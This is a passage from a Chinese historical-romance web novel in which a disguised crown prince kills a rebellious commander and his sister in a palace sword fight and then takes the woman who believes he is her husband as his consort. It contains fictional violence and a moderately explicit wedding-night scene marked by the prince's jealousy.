林元舆心内暗道：得亏修了那么多遍文书，不然说不了这般流利。 凌传道在上首翻了一遍，松手，文书落地。他轻飘飘否认：“这些都是假的。” “本官身在御史台，当察查吏治。是非曲直，是真是假，还要请帅臣随本官走一趟，升堂论断。不过……”林元舆话锋一转，“离开帅府前，本官要先向帅臣讨要一人。” 那杨廉的告示，潜逃同伙的搜查令一并呈给凌传道。凌传道早见过，这是最令他心惊肉跳的东西，强自抑下，笑着摇头：“本帅不认识这个杨廉。” “帅臣若真未包藏，可否允老夫一搜？” “大胆！”凌传道拍案，“本帅是官家表侄，当今太子的表哥，林元舆，你敢搜帅府，那就是大逆不道，公然造反！” 林元舆却屈了屈五指，蒋望回旋即出列，运起内力，狮吼一般，似要穿遍帅府：“府里的那人你听着，杨廉已经伏诛，你现在出来……” “来人，给我将反贼拿下！”还未说完，凌传道就先动兵。 柳湛吩咐过，等的就是他先动手，林元舆知道计划进行顺利，但身体还是诚实地后撤，退到蒋望回身后：“帅臣你这是做什么？本官又没有搜。” 蒋望回岿然不动，重复方才被打断的狮吼：“府里的那人你听着，杨廉已经伏诛，你现在出来束手就擒，还能留你一具全尸。” 凌传道心急如焚，不仅家丁并府兵齐拔刀剑，他自己也取下墙上宝剑，众人之中，直袭蒋望回。 林元舆以为杀自己，吓得不管不顾，又退到柳湛身后。 蒋望回拔剑，生生接下凌传道一剑，宝剑护撞，发出一声巨响。凌传道咬牙切齿：“自打你们来了淮南东，就处处与本帅作对。林老贼，你不是喜欢闻登鼓吗？本帅这就剥了你做鼓皮！” 林元舆吓得直接往堂外跑，哪知外头也被府兵包围，他赶紧喊了十来衙门兵卒，让他们把自己围在中间。 堂中这厢，蒋望回和凌传道斗得你来我往，蒋望回怒目圆睁：“凌传道，你竟敢杀朝廷命官！” “这里不是东京城，我怕你们几个？”凌传道一声冷笑，待会天长军进城，扬州城里，关起门来屠狗。 他和蒋望回斗了十来回合，不分胜负，忽又有薄薄一柄袖里剑斜刺进来。来人武功不输蒋望回，下手却远比蒋狠，蒋望回似乎还有生擒之意，来人头三招皆直袭凌传道各处毙命要害。 凌传道转头怒瞪来人，却瞬间愣怔：“你是谁？” 柳湛不答，剑意不停，口中振振：“官家圣谕彻查赝币一案，我等代天巡狩，淮南东路安抚使凌传道阻扰查案，抗旨欺君。欺君便当斩，拿下凌传道者 ，赏万金！” 凌传道闻言不屑又笑一声，天长军治下，谁有胆有命拿这赏金？ 忽起漫天席地的“杀”声，由远及近，无数兵卒或破门，或翻墙，涌入府中。凌传道眺望兵卒举的号旗，竟不是天长军的红蓝两色。 * 萍萍对柳湛事事上心，他昨日讨要香囊，她今天就去城里买绢布和绣线，回来时顺道逛一圈同文馆的铺子，那里卖的香料多。 浓烈的番香混杂到一起，她只能挨个舀一勺放到鼻下，细嗅分辨。 “娘子在找哪种香？”番商追问。 “我想找两种香，但不知道是什么，只记得香味。”刚好鼻下嗅的这一勺是送给蒋望回的香囊用的，萍萍瞧盒上标牌——檀香？ 因为诧异，她念出来：“檀香？” “是，咱们这是上好的檀香。”番商睹见她表情，已自猜着，“是不是和娘子寻常闻的檀香不同？” 萍萍点头。 “娘子平常闻的是假檀香，这才是真的。” 萍萍心内震惊，偷瞟眼标价，比假的贵了十倍。 她默不作声，继续找另外一种，柳湛收的那种香。 都嗅完了，没有。 “另外一种这里没有。” 番商眼皮跳了下：“那香闻着纯吗？” “纯，挺浓烈的，但应该不劣质。” “沉檀龙麝，沉香、檀香、麝香我这里都有。” 萍萍脑子转得快，但知道的少：“龙是什么？” “龙涎香。” “兴许是，这世上真龙涎不多，娘子嗅的可能掺假。你若还有机会见那香，可以用水烟法测一下，真龙涎烧之置杯水于侧，烟入会水……” 忽马蹄声起，一队队官兵仿佛没有尽头，飞马驰骋过街道，扬尘甚至扑入铺内。 “城里好像出大事了。” 百姓窃窃私语。 “是大官们的事…… 阿湛。 官人！ 萍萍心一紧，仿若踩空。她攥起两拳，竖起耳朵偷听议论。 “帅臣府被封，天长军来了都直接被阻在城外。” “谁敢阻天长军啊？” “东南十三将来了好几个，听说还有禁军。” 萍萍望着街上各色军旗，杭字的、越字的，宁字的，越看她心越慌，乱跳快跳，官人在林公手底下做事，会不会有危险？ 这一刻她突然无比后悔之前和官人置气。 第52章 第五十二章 太子 成群的骑兵不知过了多久才过完， 街上的灰尘久久没有落尽。 番商早没了做买卖的心思，劝萍萍道：“娘子早些回去吧，暂时莫要上街了。” “多谢店家提醒， 您也多保重。” “娘子走了我就关店了。” 萍萍点点头， 左右张望， 确定街上无人才过街回到驿馆。她十分担心柳湛，便去找馆吏打听，可馆吏知道的也不比她多多少， 只晓得东京来的一行人包括蒋音和， 皆不在馆中。 萍萍只能回房等，忧心忡忡， 加上没买香，她决定暂时不给柳湛绣香囊了，改绣平安符。 * 阿利和婢女站在葡萄架下，互相不讲话，眼观鼻，鼻观心。那架上的葡萄和普通的紫皮不同，是特地从西域移栽过来的青皮， 此时已逐渐饱满， 散发的甜蜜味道引来三、四蝇虫绕飞。 婢女头也不抬就打， 一下差点挥到凌小环脸上。 婢女慌忙跪地：“三娘子恕罪， 奴不知道是您过来。” 凌小环笑扶起婢女：“我晓得你是在打蝇。”她谦谦善意，像是那种被打了半边脸，还会把另外半边也伸过来主动等揍的人。 婢女站定不说话。 凌小环径直往里走， 欲绕过屏风，阿利伸手拦道：“三娘子，多有得罪， 帅臣交待过任何人不得入内！” 凌小环仍是一派温和：“我就进去兜一圈，逛逛假山。阿利哥行个方便？” 阿利死心眼的，硬不放过，。 三、四来回，凌小环负手变脸：“帅臣马上要死了，以后凌府就是我当家做主。你们若是还想活命，就即刻从我眼前消失。” 婢女伺候凌传道日日如履薄冰，担惊受怕，早受不了了，闻言立马跑不见，阿利却一片忠心，阻拦不放，还和凌小环打了起来。 正鏖战着，凌小环冲阿利身后喊：“阿兄？” 阿利回头，凌小环瞬时掏出一把匕首，抹了阿利脖颈，鲜血喷涌。她自己则收起匕首，绕屏风，穿走廊，到房门口。 瞧见一把锁反锁着房门，凌小环挑了下嘴角，径直用匕首劈开。 “谁？”房内巧娘问。 凌小环哭泣扑上：“是我，巧姐姐，阿兄竟将你锁在房中！” 巧娘的面色瞬间放柔软，抬手欲摸凌小环：“他向来如此。” 凌小环将手递到巧娘手边，让她抓住。 巧娘倾身又问：“外面好像很吵，发生了什么事？你怎么会来这里？” 凌小环扑通一声跪倒，伏在巧娘膝上痛哭：“巧姐姐，呜呜……阿兄他、他杀了杨大人！” 数墙之隔，越、杭、宁诸多号旗围住正堂，独不见天长军的红蓝旗，六将一并出列：“臣等救驾来迟，还请太子恕罪！” 凌传道仍同柳、蒋二人打斗，眼瞅着包围自己的人圈渐缩减小，凌传道手上不停，出招亦阴狠，口中铿锵笃定：“你们都被骗了，本帅与太子是表亲，宫中常见，他是假的！” “孤下江南前曾领圣令，”柳湛单手挥剑迎敌，另一只手取出一方令牌，念出令上正反各四字，“所到之处，如朕躬亲。” 柳湛和凌传道都不是先礼后兵，讲一句再动一句手的人，二人如出一辙的言之凿凿，手上不停，均想趁对方分神时一击毙命。 凌传道手腕翻动，剑若梨花：“那我也有官家御赐，我娘留给我的霞帔，你们怎敢动我？” 柳湛面不改色，不置可否。 两剑相接擦身，凌传道压低声笑道：“其实官家还赐了一条他自己的红鞓玉銙带给我娘。” 这话只有离他最近的柳蒋二人听见，蒋望回没克制住张目，有妇之夫赐有夫之妇男子腰带？更何况官家和凌夫人还是名义上的表兄妹。 凌传道瞥见蒋望回变色，正如自己预料，他高高旋起嘴角，用讥讽的语气问柳湛：“你说，这算不算尚方玉带，免死丹书？” 柳湛面上却无一丝变化。 凌传道心有不甘，咄咄再道：“你就不问问官家是什么情形下赐的吗？” 柳湛依旧只想逮凌传道的破绽，面如古井，一双眸子幽深犹如井眼，凌传道朝柳湛眼底瞅了两眼，忽心一沉：太子早知实情！ 他这一下分心，就被柳湛抓住机会，刺向心口。凌传道原准备往左右避，然而蒋望回忽左忽右，凌传道只能屈膝下蹲，柳湛的剑正砍在他的冠子上，青玉脆裂，凌传道青丝披散，急忙甩出一大把白色粉末。 蒋望回吃过这个亏，急呼提醒：“殿下小心！” 柳湛向后纵身跃起，及时避开。 凌传道又连洒数回，一时间烟尘四起，周遭一片咳声和叫囔：“我的眼睛！！” …… 且先说凌传道这边，他趁乱逃走，别无他想，奔寻巧娘。 远远眺见石屏风下阿利尸身，心道不好，脚下愈快：“巧娘、巧娘！” 锁已经开了，斜挂在栓上，完了，她又逃了！ 这是第几回了？ 他一时将官军太子全抛脑后，一脚踢开房门：“巧娘你在哪里？” 他先出了声，而后才看清巧娘就坐在桌边，轮椅后伫着凌小环，而桌上倒好了两杯酒水。 巧娘轻言慢语：“你回来了？陪我喝杯水。” 虽然她好久没用这种温柔语气同他说话了，但这 也太明显，凌传道心中苦涩，抿了抿唇，举起酒杯，越过巧娘递给凌小环：“三妹先喝。” “阿兄，我不渴。”凌小环答得又甜又脆，就像咬了口野果子。 凌传道不看她，只对着巧娘笑问：“巧娘，她同你说了什么？” 巧娘性直：“你果然杀了二哥！” 果然。 凌传道心往下坠，挥臂指着凌小环怒斥：“是她杀的！她在润州先斩后奏！” 这贱人连只鸽子都灭口，以至于他找不到证人。 凌小环原本就在巧娘椅后，这会还故意蹲一下躲，语调惶恐：“巧姐姐。” 巧娘立马展臂：“凌传道，你要杀她，我也不活了！” 凌传道喘气，扶额，被她气得发晕，又好像是因为发丝散乱，挡住视线，才花眼的。 巧娘冷笑：“你果然不会喝，还好三娘机警，又另外熏了迷香。” 巧娘讲时言语含糊，因为事先舌下含了能保持清醒的解药。 凌小环和凌传道却齐齐瞪了巧娘一眼，继而眼神撞到一处，不能错过这个好机会，凌小环重拔匕首，巧娘听见动静，鼓励道：“三娘，杀了他！” “你要杀我？”凌传道颤声质问，脚下却娴熟躲避袭击，剑随意一挥就挑开凌小环的匕首，凌小环又再袭，如此两三回，力气竟急速衰减，怎么回事？她明明含了解药却也手脚发软？ 凌传道瞟了眼小环，同巧娘笑道：“我怕你跑了，冬日地龙夏日冰，被褥帏帐都抹了软筋散。每回离开前还会加重三倍剂量。” 因祸得福，今日多麻了三娘这个贱人！ 至于他自己，早服用过解药。 凌传道和凌小环这一对兄妹，手脚皆无气力，却都把兵器攥得死死的，仍要取对方性命。凌传道武艺比凌小环高出不少，她翻了翻眼皮，取出木盒，对着凌传道射出如暴雨般的银针。 “别用那个！” 室内就这么窄，眼瞅着当中数根就要射中巧娘，凌传道纵身向轮椅，替巧娘尽数挡下。 但他亦不会放过小环，手上剑用尽最后的力气，连挑三下，趁凌小环持木盒无法格挡，挑断凌小环手筋。 凌小环剧痛松手，木盒坠地，人亦跪倒，凌传道手上多扎十余银针，右臂顷刻浸红，却仍忍着痛先劈晕巧娘，免得她再做傻事，才脱力倒地。 “爹爹竟把这银针传你，”他躺在地上喘气，“不传我……” “当然应该传我，你是个什么东西？”凌小环亦由跪转躺，凌传道的剑上淬剧毒，“天天情情爱爱，荒废家业。” 她不明白怎么会有人拘于小情小爱，看不到江山无限？ 她无数壮志雄心，却做不了凌家家主…… 不仅仅止家主。 凌小环双目渐红，忿忿不甘：“明明我哪里都比你强，爹爹却全力扶持你，就因为你是个男的？” 凭什么女人不能做豪杰，当枭雄？ 就因为这世道？ 凌传道连摇头的力气也没有了，像被人钉在地面，歪着脖子：“不，你错了。我能得到这一切，不是因为我身为男子，而是因为我的母亲。” 凌小环生生愣住。 凌传道本来还想再多说些，察觉人来，阖唇转动眼珠，看向门口。 柳湛进门就瞧见两败俱伤。 凌小环亦斜觑见柳湛，仍当他是杨巡按，下令道：“快，杀了他！” 她旋即许诺：“杀了他扶你做御史中——” 凌小环话未讲完，柳湛已手起剑落，斩下凌传道头颅——怎会允他再讲天家秘闻！ 凌小环又楞了下，瞟地上的凌传道又瞟柳湛，觉着该联系些什么，还没想明白，就见柳湛举剑相向。 到此刻还觉不出杀意，那就是个傻子，凌小环高呼道：“你别杀我！杀我就没解药了！” 柳湛仍提剑走近，凌小环急忙解释：“那天酒水里我下了毒，没有解药你将脏腑衰歇，月余便亡！” 柳湛淡笑：“谁喝那酒。” 一剑捅穿凌小环。 他望着地上两具尸体，说实话，没想到会这样简单。柳湛心里隐隐雀跃，官家也好，皇后也好，也许亦如这凌氏兄妹，这天下终究将是他的。 听见背后脚步声，柳湛敛去笑意。 “殿下。”蒋望回也追到这里，先跨过两具尸体检查，又扫向轮椅上昏迷的巧娘：“殿下这人还活着。” 柳湛嗯了一声，他知道那就是凌三娘口中的巧娘。 一个蠢人。 眼盲腿残既已成实事，便当识时务为俊杰，依附凌传道做一朵乖顺的解语花，才是她的正道。 如今没了凌传道的财力和呵护，以她的身子心性，能在这世道存活几日？ 柳湛可没有菩萨心，直接道：“送去义堂。” * 驿馆内。 萍萍没有绣别的，就绣了最简单的“平安”两字，从小到大都听人说，心诚则灵。 任是这样，她也因为心慌，手指扎了两回针脚。 屋内的滴漏一滴又一滴，刻度直减，都过了午时，街上仍静悄悄，官人也没回来。 萍萍是越急做事越快，平安符已经绣好，贴心口揣在怀里，下楼想出驿馆瞧瞧，却见馆门口站了十来位执戟的官兵，人墙作门。 “这是在做什么？”萍萍急眼问旁边馆吏。 “太子御驾，封馆戒严。” 太子？ 那是怎样金贵的大人物？ 萍萍愈发慌了，担心官人，她和阿湛皆只是渺小砂砾，从前读巨鹿之战，楚霸王破釜沉舟，一战成名，可她只感同身受那二十万阵亡的无名将士。 一将功成万骨枯，她怕太子是那一将，官人却成了万堆白骨中的一具。 不会的，官人不会有事的……她要去找官人！ 萍萍不知不觉脚往前走，跟她关系不错的馆吏怕她硬闯，急忙拉住，低道：“萍娘子，不能出去。” “为什么不能？” “贱避贵，轻避重，去避来。” 前两样她都懂，唯独去避来……太子要来驿馆？ “皇太子到——” 正想着前方一人又一人，如浪传近话，馆吏拉着萍萍下拜：“快跪，快跪！” 其实不用拉萍萍已自软膝，低头前她瞅了一眼，门前步骑车马，乌泱泱绝对有上百号人，皆若肃穆金刚，这就是太子的仪仗吗？ 她根本看不清太子，只瞅见极高远的步舆上的旒冕衮服。 天家贵胄威严慑服，众人皆不由自主三称千岁，又再拜讫，萍萍也跟着磕头，磕头，再磕头，匍匐贴地。 无数禁卫从她身边走过，萍萍眼前的靴尖一直在变，她紧张得不自觉抖了一下。 柳湛舆上睹见，不忍她跪久，淡道：“平身。” 她听见那个熟悉得不能再熟悉的声音，瞬忘尊卑，情不自禁抬头，那步舆已进馆门，她瞧清了，那旒冕后面的一张脸昨日还同她紧贴，阿湛竟是太子，太子竟是阿湛。 他突然比庙里的金身还遥远，原来官人真是挂在天上，摸不着的月亮。 第53章 第五十三章 洞房花烛 她又忘记站起来了。 还是旁边馆吏拉她， 平身了，萍萍才站起，腿跪得有些麻， 动作迟缓。柳湛的步舆从她身边经过， 目光只扫了她一眼就移开， 对都没对上。但因为离得越来越近，萍萍瞧清楚官人衮服上的纹章，龙虎鸡火， 还有好些不认识的虫， 他带了许多革带玉佩，应该各有各的讲究。 萍萍仰着脖子， 他连鞋都是朱履。 人说余音绕梁，柳湛的太子形象就像余音，在她脑海里久久不能散去。 等太子的仪仗全部过完后，她跟在人群最末挪动，正犹豫是一直跟着官人，还是回房？袁未罗过来，将她拉上楼梯， 并朝上指了指， 示意回房。 萍萍就带袁未罗来到房门口， 先问：“是殿下让你来的？” 袁未罗点点头， 她这才开门和他一道进屋。袁未罗开门见山：“逆党方才剿灭，殿下有许多要务要处理，暂时脱不开身， 他说要委屈娘子在这等候两日，最多两日，就来同你团圆。” “好！”萍萍一口答应， “如果有机会，劳烦小官人帮我带话殿下，就说当务之为急，他放心去办正事，倘若两日办不完，可以三日、四日，不用急着赶，我这边会一直等他……对了，让他记得也不要太过操劳，保重身体。” 袁未罗微张双唇，讶异萍萍的反应。 和他预想的不同。 晓得 了殿下是殿下，她面上竟捕捉不到一丝惶恐战兢，讲的虽然是让殿下不用急，她一直等之类的话，但那语气，那神态，品不出讨好之意，不像他们以下恭上，以卑媚尊，她好像还当她和殿下是平齐的，仅仅只是一位妻子对夫君的关切、理解和包容。 袁未罗不晓得她哪来的勇气和信心，像吃了秤砣一样安稳：“你知道殿下是太子，不惊讶？不怕吗？” “我惊讶呀！”起初她跪地上怔怔望了许久呢，他真成天上的月亮了。 但很快她就镇定下来，他本来一直就都是月亮。 他先是她的官人，而后才是太子。 长随、太子、商贩，甚至是乞丐，都只是一个身份。沧海会变桑田，但月升月落，头顶那一轮亘古不变。 她相信他待她也一样，此心不移。 “但我为什么要怕官人？” 袁未罗一时语噻。 萍萍抬手放到唇边，轻轻询问：“袁小官人，你是不是中贵人？” 袁未罗点头，是啊，他是太监。 “那蒋兄也和你一样吧？” 不、不，那不一样！袁未罗脑袋摇得似拨浪鼓，要命了：“蒋殿帅是殿前司内值殿左第二班近卫，他亲爹可是大名鼎鼎的陕西经略相公！” 陕西离西宁很近，六年前萍萍刚醒来那阵子，走哪都听到经略相公的美名，说他用兵驭将，勇敢无敌，一人守关，如补缺金瓯，堪比古时的廉颇和李牧。 萍萍十分敬仰，却不曾想经略相公和蒋望回竟有这层亲源。 那他也是蒋音和的亲爹？ 说来打昨日开始，蒋音和就不曾出现在驿馆了。 “我几时才能回驿馆？”扬州城临近炮山河的某处宅园里，蒋音和正对一池荷花，同兄长发牢骚，“待在这里都闷死了。” “这已经是扬州城数一数二的园子了，有山有水，处处精巧，逛一天都逛不完。”蒋望回叹了口气，“除了不能出去，还有哪点不好？” “我就是要出去呀！我要回驿馆。”回到殿下身边。 蒋望回幽幽看着她：“今日你会出园，但不是回驿馆，而是回宫。” 蒋音和先是一怔，继而喜道：“殿下要启程了吗？” 蒋望回仍是纹丝不动伫着，头不摇眼不眨：“殿下还早，会有禁卫先送你回京。” 蒋音和愕然，片刻后缓过神来，高叫道：“驿馆不让我进就算了，凭什么还撵我走？” “我不走！” 她气得想在石头上直接坐下，却又觉太失仪，还是站着嘀咕：“要走也是她走。” 蒋望回哪会听不见，立即怒斥：“你怎么还说这样的糊涂话！”他唇动了动，放软语气，“你做了错事，殿下暂时不想见你。”他顿了顿，“但他并没有免去你的东宫之职，更不会上奏官家。所以你回去以后，若能三省己身，改性情，敛骄嗔，殿下回宫重逢，还……有机会。” 蒋音和沉默半晌，夏天难得生一丝风，还是热乎乎的，往她袖里钻：“殿下会带她回京吗？” 虽然没问，但这是十有八。九的事情，蒋望回没有启唇，别过头去。 “阿兄。”蒋音和轻唤。 “阿兄。” 蒋望回这才回头望来。 蒋音和冲他一笑，意味深长：“别忘了我们同气连根，骨肉相附，休戚与共。” 蒋望回滑了下喉头，眸色晦暗：“我没忘记。” 荷叶上出现越来越多水珠，荷叶摇晃，湖面涟漪。蒋望回随身带着伞，撑开斜向音和那边：“下雨了，先回屋。” …… 蒋望回很晚才回驿馆，天已漆黑，月明星稀，灯烛摇摇。 如今旁人要见太子一面不容易，但对蒋望回来说还好，人还在走廊上，就有望见的禁卫隔门通传，等他走到门口时，那禁卫直接推门让道：“殿帅，且请。” 蒋望回微微颔首，进门后柳湛收尾繁忙，手上书写不停，仅只挑眼皮看来一眼。 蒋望回冲柳湛点头，音和已经送走了。 柳湛见蒋望回不愿道破，便也不伤面子和气，浅点下巴，算是晓得。 蒋望回却迟迟未屏退，开口又问：“殿下……是否要带萍娘子回京？” 柳湛停笔，缓缓搁到一旁的笔架上。 希颜不该愚钝到猜不出显而易见的答案，却还开口问，他对萍萍未免太过关注。 柳湛想起在润州时蒋望回替他打蚊的事，凡诸祸根，不早断绝，则转滋蔓。他含笑眺向下首：“明日孤将纳她做御侍，而后再启程回京。” 明晚她就彻底成为他的女人。 * 萍萍等了一整日，没有等来柳湛，袁未罗却带着十余女使上门，一进屋就打扫，换帐子，换铺盖，在案上摆上瓜果红烛，甚至还拉了几条彩带。 “这是做什么？”萍萍问袁未罗。 像要成亲似的？ 她和官人早成过亲，洞房了呀。 袁未罗笑道：“恭喜娘子，殿下今晚会过来。” 萍萍两眼一亮：“他忙完啦？” 袁未罗点头。 萍萍正要再问，一女使站在妆台前邀道：“娘子且请梳妆。” 萍萍一愣，袁未罗从旁解释：“这些都是宫里的规矩。” 不能素面朝天见太子么？ 萍萍不想给柳湛拖后腿，连忙坐到梳妆凳上。那女使便开始绞脸：“娘子只管放心交给奴婢” 她梳头时夸萍萍头发乌黑亮泽，涂唇脂时又赞唇红气色好，说得萍萍都脸红了，这下好，胭脂也不用抹了。 到傍晚，又进来两位新的女使布菜。 备些酒菜犒劳晚归的夫君，这本该是她这个当娘子的做的事，萍萍连连向她俩称谢，并说出自己的过意不去，袁未罗听得大笑：“这些又不是她俩做的，娘子不用内疚，这备菜也是宫里的规矩。” 说到这，他脸上僵了下，其实纳御侍这事可大可小，他就晓得宫里有两位御侍，都是官家临时幸了，翌日补封，一道圣旨，些许御赐的用度便作罢。 东宫御侍按理比宫里还低一等，且现在扬州，不在东宫，太子却肯为她遵守一套完完整整的纳礼，能给的都给她。 袁未罗感叹：“娘子何其有幸呐。”得殿下宠爱，一朝登天了。 萍萍笑，酒窝旋得深深，她也觉得自己挺幸运的。 夏天日落得晚，到戌时二刻才黑天，柳湛也是在这时过来。 她一进屋，萍萍就来拉他去桌边：“这么晚了，快坐下吃点吧。” 想等他一道，她也没动筷子。 柳湛却先促眸环扫了一圈，楠木雕花的床上，铺着鸳鸯紫锦被，换了洒金的帐子，再看案上红枣莲子……一圈扫视完，才扬高唇角，笑着在桌边坐下：“这两日公务繁忙，众人面前也不好同你过多亲昵，冷落了你，受委屈了。” “你快吃吧！”萍萍并不觉得冷落，只担心他饿坏。 柳湛笑眯眯允道：“好。” 拾起银箸，但隔许久才象征性夹一筷子，更多时候眉眼弯弯盯着萍萍，她瞧在眼里，径直发问：“你不饿吗？” 柳湛笑着摇头。 “那我开吃了，我可饿坏了。” 柳湛就注视着萍萍风卷残云，被她惹开了胃口，也多夹几块，转念思及接下来会发生的事，眼神幽深：“别吃太多了。” “好。”萍萍边撕鸡腿边回他。 柳湛莞尔。 他等了一会，她碗里米饭见了底，筷子也放下，才问：“吃好了吗？” “吃好了。” 柳湛笑着轻唤：“萍萍，来。” 她愣怔，来哪里？ 柳湛屈屈五指，示意她坐在膝上。 遵照纳礼布菜，并非他饿，而是不想怠慢萍萍，就像他今日进门前还特意让人在廊上烧了纸马。 他身为太子，纳御侍不能拜天地官家，不能夫妻对拜，逾矩失仪，但私下喝一杯交杯酒还是可以的，他也愿意讨她欢心。 柳湛亲自斟了一杯酒递给萍萍。待她接过，又给自己也斟一杯。 “官人要喝酒吗？”她脆生生地问。 嘘，不要说话，柳湛视线追随自己的手，穿过萍萍胳膊，甜甜腻腻的蜜液随着他的动作，难以自抑地从心泉里涌出，浇灌整片心田。 酥酥麻麻的感觉，胀得胸腔鼓囊囊的，他甚至有些鼻子发酸，送杯至唇边，一饮而尽。 萍萍也学他的样子饮尽，两人喝了个交杯。 第54章 第五十四章 “萍萍，你不能悔了。”…… 萍萍扭头眺案几瓜果， 继而低头看酒杯，扶了扶额：“这怎么好像洞房花烛一 样。” 柳湛牵着她的手放下酒杯，笑道：“这就是洞房花烛。” 因为语气太过温柔， 他甚至染上了颤音。 萍萍嘴角的笑回收：他想起来了吗？！ 想起他们的洞房花烛， 跟今晚同也不同， 萍萍张嘴要啪啦倒豆，柳湛展臂抱住她，在她颈间吸了口气：“别说话， 让我抱会。” 他轻轻呢喃：“昨日我诛杀逆党后， 就想这样抱着你。” 这一说萍萍旋即深吸了口气，昨天她悬了一整天都没放下来， 到后来见他当了太子，袁未罗又说安好，她才卸力足足睡了五个时辰。 萍萍拉衣领，女使给她穿绉纱的褙子和大袖，还套帔坠，层层叠叠贴心口的平安符都不好找了。 柳湛从下往上，扫过她的抹胸， 又看头上金冠绢花， 脸上霞妆珍珠， 最后目光落在她唇上， 喉咙发紧，眼眸幽深：“在找什么？” “找到了！”她掏出平安符就往柳湛的玉带上系，坐着不方便， 她站起来，“这个你戴上，能保平安的。”见过了他的精致衮服， 但她觉着自己绣的平安符也不差，“虽然是我绣的……” 新挂上去的华灯走马，照着萍萍亮晶晶的眼睛，柳湛清晰瞧见她眼里只有一个他，听她一言一行，牵挂的关切的，也都是他，柳湛眸底潋滟，亦似流光。 从来没有过的满足，他一抬下巴，用唇封住她的话。 这一吻就觉出和之前那些吻的不同，今夜格外的志得意满，心潮澎湃，难怪皆道江山美人，江山多娇，美人多情，果然缺一不可。 柳湛吻了许久，沿着萍萍的唇边来来回回啄遍，甚至探了舌进去吸吮，分开时带着一口喘气和些许水珠。他笑出一声，打横抱起萍萍，快走数步，放到床榻上。 新换的铺盖滑得好似不存在，柳湛手撑着床板看萍萍，虎视眈眈，其欲逐逐，少倾抬起手来剥她的褙子，萍萍哪里还猜不出他想做什么，要趁良宵，她配合着上手去解他的玉带，柳湛笑了，干脆垂下双臂任她动作。 窸窸窣窣，一会把他剥了个七七八八，她自己身上也只剩件桃红抹胸。萍萍抬手就要解开系带，忽被柳湛按住。 萍萍愣怔，抬头再看，才发现柳湛的眸子不知何时暗得不得了。 他扒开她的手，自己右手在她脖颈间几分颤巍摸索，终于指腹绕着那抽头，抖着一拉。 柳湛呼吸骤滞。 虽未亲历人事，但图画是曾看过的，也曾数回梦见模模糊糊，不知何方女子轮廓，醒来一片湿漉。 他原以为今夜也差不多，却原来不一样。 不一样的。 柳湛强抑着激动心绪，看向萍萍身后鸳鸯锦被，抬手掀开，猜得没错，虽然被子是紫色的，底下却铺着一张素白床单。 他落了帐，抱她躺倒单上，嗓子紧得快要说不出来话，先啄一口，方喑哑道：“萍萍，你不能悔了。” 说罢再次吻住、分开、纵身。 萍萍双手搂向他的脖颈，笑吟吟接话：“我有什么好后悔的。” 晓得他喜欢，先轻扶他耳后的痣，又摸喉结。 柳湛受不住，连接驰骋，半晌才觉出不对劲，并未遇任何阻碍，她也始终笑靥如花，脸上寻不见半分痛楚，甚至还会偶尔仰身，迎合享受。 柳湛捉住她又要往下作乱的手：“你从前……” “从前怎么了？从前你不是最喜欢这般吗？”萍萍不以为然，笑着坐起，手按在柳湛肋骨上，轻轻一推，媚眼如丝。 柳湛倒后，她倾身在他耳边吹气，“你还喜欢这般，我们试过好些次。” 回忆里就有。 萍萍说着参起欢喜禅来。 柳湛却四肢平躺，三伏天如坠冰窖。 她说自己嫁过人，她没有骗人，是真的。她口口声声描绘的那位温柔体贴，与她情深似海的官人，是真真正正的活人——不是他，是别的男人。 柳湛只觉被人狠狠扇了一耳光，扇得他眼前发昏，耳畔轰鸣，心内呕血。她是他第一个女人呐，不愿怠慢，他给她完备走了一整套仪式，而她却，她却……柳湛仰望，看她红颊醉脸，浮花浪蕊，他恨得将她推倒，反下为上，又一口咬在她肩头。 怪不得她刚刚褪衣裳褪得那样娴熟，他忿忿地想，光咬个肩膀还不解气，别处也要狠狠地咬。萍萍吃痛：“官人，疼……” 她想他六年方才纾解，忘形人之常情，为了缓解疼痛，她拉着柳湛的手往她身前放，柳湛会意过来，心头酸胀得厉害，是另一个男人，将她从清纯姣怯教诲成现在这般热情贪恋模样。 虽然愤恨，手上却还是禁不住让她如了愿，那里也和心一样酸胀满溢，又比剑还硬，只想将她捅穿个千百来回。 萍萍伸手又往下抚，这回柳湛没有阻止，她抚过他的腹部，没有摸到疤痕，方才坐起来时借着帐外昏光，也未瞧见。 官人腹上那么长一条刀口全好了吗？ 也是，他是太子，肯定能用很好的药…… 嗤，她忽觉下颌一痛，竟是柳湛二指掐着她的下巴，迫她对视。 她方才缘何走神？他幽幽地想，是不是在比较他和别的男人？ 柳湛愈加猛烈，颈上青筋暴起，原本俊朗的五官因为用力而狰狞。萍萍受不住唤道：“官人。” 柳湛抬手捂住她的嘴，别叫了，现在最不想听到这两个字。 许久，他才因为忘形移开手掌，萍萍随即启唇，柳湛以为她又要说什么剜心之言，哪知萍萍却稍稍起身，在他喉结上吮了一口。 柳湛一刹溃败。 但心中的酸涩却并未随之释放，他缓缓退了些，将萍萍翻个身。 萍萍背对着他挑眉，就说男人不能憋六年…… 鸡鸣方止。 天亮了，柳湛也从深沉的夜色里清醒过来，萍萍侧身，手搭上柳湛胸膛，他向下瞥了一眼，没有挪开她的手，却也没搂紧。 萍萍得寸进尺，面颊也贴上柳湛胳膊：“官人你待会还要去处理公务吗？” 少倾，柳湛慢道：“以后，你要唤我殿下。” “私下也不行吗？”萍萍嘀咕，好久柳湛都不应声，她噘噘嘴巴，做太子真不得自由：“殿下，你待会还要去处理公务吗？” 其实今日是柳湛特地空出的一日，却低沉应了声嗯。 那时候不早了，不能耽误他，萍萍挣扎着要起身，却发现大腿完全脱力，顷刻垮下，重坐回床上。 她失笑：“我可不可以再躺会？” 柳湛不动声色瞥向床单，虽然褶皱脏污，但仍是一床白，仿若雪地。他拽起被褥，盖住一半床单，而后将身边萍萍推远：“先去洗。” 说罢叫了水。 女使们鱼贯而入，挪来木桶倒水，萍萍急忙穿衣，掀帘落帘，只在一刹。她原本打算扶墙走过去，哪知人还坐在床上，就有女使服侍穿鞋，一路搀扶到桶边。女使们娴熟拉起三扇屏风，将木桶围得密不透风，却也顾忌到热，二女各执一孔雀扇，在桶边为萍萍扇风。 试水的女使笑问：“娘子且试试水？” 萍萍赶紧手放进桶里点了下，上头浮的花瓣四散开。 “娘子水温可行？” “好、好。”和她以前卖的洗面汤一样手感。 女使便搀扶萍萍褪去衣物，踏入桶中。女使们或执勺浇水，或搓背，萍萍僵 硬得一动不动，转着眼珠看屏风里还有三名女使端盘伫立，一个盘子里的胰皂比她卖洗面汤的还多，另一盘盛放茶点，还有一盘托一件纱衣。 另有一女使，在三女身边执铜镜。 萍萍眼花缭乱。 …… 